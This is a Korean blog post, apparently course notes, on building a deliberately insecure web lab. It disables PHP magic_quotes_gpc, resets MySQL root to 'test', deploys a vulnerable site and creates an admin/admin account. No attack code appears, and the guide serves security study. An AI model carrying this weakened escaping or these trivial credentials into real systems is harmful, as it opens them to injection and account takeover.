&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;460&quot; data-origin-height=&quot;165&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lN8QV/btsKPbiUjJa/ySfxcgohcXLOGJvJn9goq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lN8QV/btsKPbiUjJa/ySfxcgohcXLOGJvJn9goq1/img.png&quot; data-alt=&quot;그림2 - 이스케이프 문이 적용된 test'&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lN8QV/btsKPbiUjJa/ySfxcgohcXLOGJvJn9goq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlN8QV%2FbtsKPbiUjJa%2FySfxcgohcXLOGJvJn9goq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;460&quot; height=&quot;165&quot; data-origin-width=&quot;460&quot; data-origin-height=&quot;165&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 이스케이프 문이 적용된 test'&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;magic_quotess_gpc = Off 로 변경 후 Apache를 재기동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;APM Setup 콘솔 Server status의 Apache를 Stop 후 다시 Start 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;455&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kHvaY/btsKOV1Fsw2/yMDByNO3RTsKXkVIN3Vfy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kHvaY/btsKOV1Fsw2/yMDByNO3RTsKXkVIN3Vfy1/img.png&quot; data-alt=&quot;그림3 - magic_quotess_gpc = Off 로 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kHvaY/btsKOV1Fsw2/yMDByNO3RTsKXkVIN3Vfy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkHvaY%2FbtsKOV1Fsw2%2FyMDByNO3RTsKXkVIN3Vfy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;773&quot; height=&quot;455&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;455&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - magic_quotess_gpc = Off 로 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Apache 재기동 후 접속 하면 아래와 같이 test' 가 그대로 출력된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;437&quot; data-origin-height=&quot;172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8eO6Q/btsKPAh9bd8/g0rkm7TDK5OJxUlq0i9FM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8eO6Q/btsKPAh9bd8/g0rkm7TDK5OJxUlq0i9FM0/img.png&quot; data-alt=&quot;그림4 - 이스케이프문이 해제된 test'&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8eO6Q/btsKPAh9bd8/g0rkm7TDK5OJxUlq0i9FM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8eO6Q%2FbtsKPAh9bd8%2Fg0rkm7TDK5OJxUlq0i9FM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;437&quot; height=&quot;172&quot; data-origin-width=&quot;437&quot; data-origin-height=&quot;172&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 이스케이프문이 해제된 test'&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습을 위해서 MySQL 패스워드를 초기화해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;APM Setup으로 설치 시 MySQL 초기 패스워드는 apmsetup이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD 창을 열고 cd C:\APM_Setup를 입력하여 APM_Setup 폴더로 이동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 굳이 APM_Setup 폴더로 이동할 필요없이 바로 로그인해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mysql -u root -p 입력 후 apmsetup을 입력하여 mysql에 로그인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;658&quot; data-origin-height=&quot;212&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RM5h1/btsKOT3R5m7/09xmufFHh9AEGFP3vu1gIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RM5h1/btsKOT3R5m7/09xmufFHh9AEGFP3vu1gIk/img.png&quot; data-alt=&quot;그림5 - MySQL 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RM5h1/btsKOT3R5m7/09xmufFHh9AEGFP3vu1gIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRM5h1%2FbtsKOT3R5m7%2F09xmufFHh9AEGFP3vu1gIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;658&quot; height=&quot;212&quot; data-origin-width=&quot;658&quot; data-origin-height=&quot;212&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - MySQL 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;update mysql.user set password=password('test') where user='root';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; root 계정의 패스워드를 test로 변경한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flush privileges;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; DBMS에 변경된 패스워드 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exit 후 다시 mysql -u root -p 입력하여 로그인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경된 패스워드 test 입력 후 로그인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;684&quot; data-origin-height=&quot;317&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ytk2L/btsKQrLwd7R/xgKqjFD39KkM6vHbpGlFv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ytk2L/btsKQrLwd7R/xgKqjFD39KkM6vHbpGlFv0/img.png&quot; data-alt=&quot;그림6 - MySQL 패스워드 변경 후 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ytk2L/btsKQrLwd7R/xgKqjFD39KkM6vHbpGlFv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYtk2L%2FbtsKQrLwd7R%2FxgKqjFD39KkM6vHbpGlFv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;684&quot; height=&quot;317&quot; data-origin-width=&quot;684&quot; data-origin-height=&quot;317&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - MySQL 패스워드 변경 후 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;강의 내 취약 환경 구축 자료 다운로드 후 C:\APM_Setup\htdocs 폴더 내에 압축 해제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;압축 해제 후 common.php 내 mysql 패스워드를 test로 변경해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xPbuB/btsKQ9KhAXY/n7xs3HtaqecA8cGJcuyCjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xPbuB/btsKQ9KhAXY/n7xs3HtaqecA8cGJcuyCjK/img.png&quot; data-alt=&quot;그림7 - common.php 파일 mysql 패스워드 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xPbuB/btsKQ9KhAXY/n7xs3HtaqecA8cGJcuyCjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxPbuB%2FbtsKQ9KhAXY%2Fn7xs3HtaqecA8cGJcuyCjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;342&quot; data-origin-width=&quot;626&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - common.php 파일 mysql 패스워드 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vNkqq/btsKPEkuNil/OkrjuQDOI68we3Tp6LjJkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vNkqq/btsKPEkuNil/OkrjuQDOI68we3Tp6LjJkk/img.png&quot; data-alt=&quot;그림8 - test 로 패스워드 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vNkqq/btsKPEkuNil/OkrjuQDOI68we3Tp6LjJkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvNkqq%2FbtsKPEkuNil%2FOkrjuQDOI68we3Tp6LjJkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;651&quot; height=&quot;366&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;366&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - test 로 패스워드 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;insecure_website 폴더 내 query.txt 쿼리들을 복사해서 MySQL CMD 창에 그대로 붙여넣는다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;쿼리 복붙 후 DB, 테이블 생성 및 데이터 입력이 완료되면 insecure 홈페이지에 접속을 시도한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;811&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DkCgH/btsKQHm0T0b/GOFkzrHK9hJZM8XCoinM9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DkCgH/btsKQHm0T0b/GOFkzrHK9hJZM8XCoinM9k/img.png&quot; data-alt=&quot;그림9 - MySQL에 DB, 테이블 생성 및 데이터 입력 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DkCgH/btsKQHm0T0b/GOFkzrHK9hJZM8XCoinM9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDkCgH%2FbtsKQHm0T0b%2FGOFkzrHK9hJZM8XCoinM9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;890&quot; height=&quot;811&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;811&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - MySQL에 DB, 테이블 생성 및 데이터 입력 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저에서 127.0.0.1/insecure_website 입력하여 접속을 시도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 정상적으로 접속이 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;388&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuw4nG/btsKOHoNong/BczZ7t2kFvTIjAQxkGp480/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuw4nG/btsKOHoNong/BczZ7t2kFvTIjAQxkGp480/img.png&quot; data-alt=&quot;그림10 - insecure 웹사이트 접속&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuw4nG/btsKOHoNong/BczZ7t2kFvTIjAQxkGp480/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcuw4nG%2FbtsKOHoNong%2FBczZ7t2kFvTIjAQxkGp480%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;388&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;388&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - insecure 웹사이트 접속&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우측 상단의 Join을 클릭하여 관리자 계정을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID: admin&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PW: admin&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;916&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/shSMn/btsKRGoWP8W/KpxJ1GuT7i4fcmqhMKZfq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/shSMn/btsKRGoWP8W/KpxJ1GuT7i4fcmqhMKZfq0/img.png&quot; data-alt=&quot;그림11 - insecure 웹 사이트 관리자 계정 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/shSMn/btsKRGoWP8W/KpxJ1GuT7i4fcmqhMKZfq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FshSMn%2FbtsKRGoWP8W%2FKpxJ1GuT7i4fcmqhMKZfq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;969&quot; height=&quot;916&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;916&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - insecure 웹 사이트 관리자 계정 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정 생성 후 로그인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;603&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXW7lR/btsKRQSBnwO/p5dTPreSk99suBH7ZdZTk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXW7lR/btsKRQSBnwO/p5dTPreSk99suBH7ZdZTk1/img.png&quot; data-alt=&quot;그림12 - 관리자 계정으로 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXW7lR/btsKRQSBnwO/p5dTPreSk99suBH7ZdZTk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXW7lR%2FbtsKRQSBnwO%2Fp5dTPreSk99suBH7ZdZTk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;963&quot; height=&quot;603&quot; data-origin-width=&quot;963&quot; data-origin-height=&quot;603&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - 관리자 계정으로 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정으로 로그인 후 우측 상단의 Write 버튼을 클릭하여 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;419&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NSFkm/btsKQ7m6eGL/K08MdbpzIkBoapRFlbkxP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NSFkm/btsKQ7m6eGL/K08MdbpzIkBoapRFlbkxP1/img.png&quot; data-alt=&quot;그림13 - 게시글 작성(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NSFkm/btsKQ7m6eGL/K08MdbpzIkBoapRFlbkxP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNSFkm%2FbtsKQ7m6eGL%2FK08MdbpzIkBoapRFlbkxP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;966&quot; height=&quot;419&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - 게시글 작성(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 라는 게시글을 작성 후 비밀번호도 test 로 설정 후 Write 버튼을 클릭하여 작성 완료한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;866&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lJ16Y/btsKSCe1A9H/PDkwqD3uSH0lwOGkUVfP60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lJ16Y/btsKSCe1A9H/PDkwqD3uSH0lwOGkUVfP60/img.png&quot; data-alt=&quot;그림14 - 게시글 작성(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lJ16Y/btsKSCe1A9H/PDkwqD3uSH0lwOGkUVfP60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlJ16Y%2FbtsKSCe1A9H%2FPDkwqD3uSH0lwOGkUVfP60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;956&quot; height=&quot;866&quot; data-origin-width=&quot;956&quot; data-origin-height=&quot;866&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - 게시글 작성(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 게시글이 작성 완료되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 게시글 클릭 후 Modify 버튼을 클릭하면 수정이 가능하며, 게시글 작성 시 입력했던 비밀번호를 입력하면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLnolp/btsKRc9KDi4/Pi7P2NCzOI59hoJ1MnSK81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLnolp/btsKRc9KDi4/Pi7P2NCzOI59hoJ1MnSK81/img.png&quot; data-alt=&quot;그림15 - 게시글 작성 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLnolp/btsKRc9KDi4/Pi7P2NCzOI59hoJ1MnSK81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLnolp%2FbtsKRc9KDi4%2FPi7P2NCzOI59hoJ1MnSK81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;965&quot; height=&quot;441&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - 게시글 작성 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;603&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VQg4V/btsKSC691C5/L46qZIOBgtdJOA7y9hPc7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VQg4V/btsKSC691C5/L46qZIOBgtdJOA7y9hPc7K/img.png&quot; data-alt=&quot;그림16 - 게시글 수정(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VQg4V/btsKSC691C5/L46qZIOBgtdJOA7y9hPc7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVQg4V%2FbtsKSC691C5%2FL46qZIOBgtdJOA7y9hPc7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;973&quot; height=&quot;603&quot; data-origin-width=&quot;973&quot; data-origin-height=&quot;603&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림16 - 게시글 수정(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제목과 내용을 변경 후 비밀번호를 입력하고 Modify를 클릭하면 게시글 변경이 완료된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;967&quot; data-origin-height=&quot;877&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bl8II7/btsKSPLZbHT/xqNow3ivQmHIrbxqquqT2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bl8II7/btsKSPLZbHT/xqNow3ivQmHIrbxqquqT2K/img.png&quot; data-alt=&quot;그림17 - 게시글 수정(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bl8II7/btsKSPLZbHT/xqNow3ivQmHIrbxqquqT2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbl8II7%2FbtsKSPLZbHT%2FxqNow3ivQmHIrbxqquqT2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;967&quot; height=&quot;877&quot; data-origin-width=&quot;967&quot; data-origin-height=&quot;877&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림17 - 게시글 수정(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정 후 Delete 를 클릭하면 삭제도 가능하다.&lt;/p&gt;
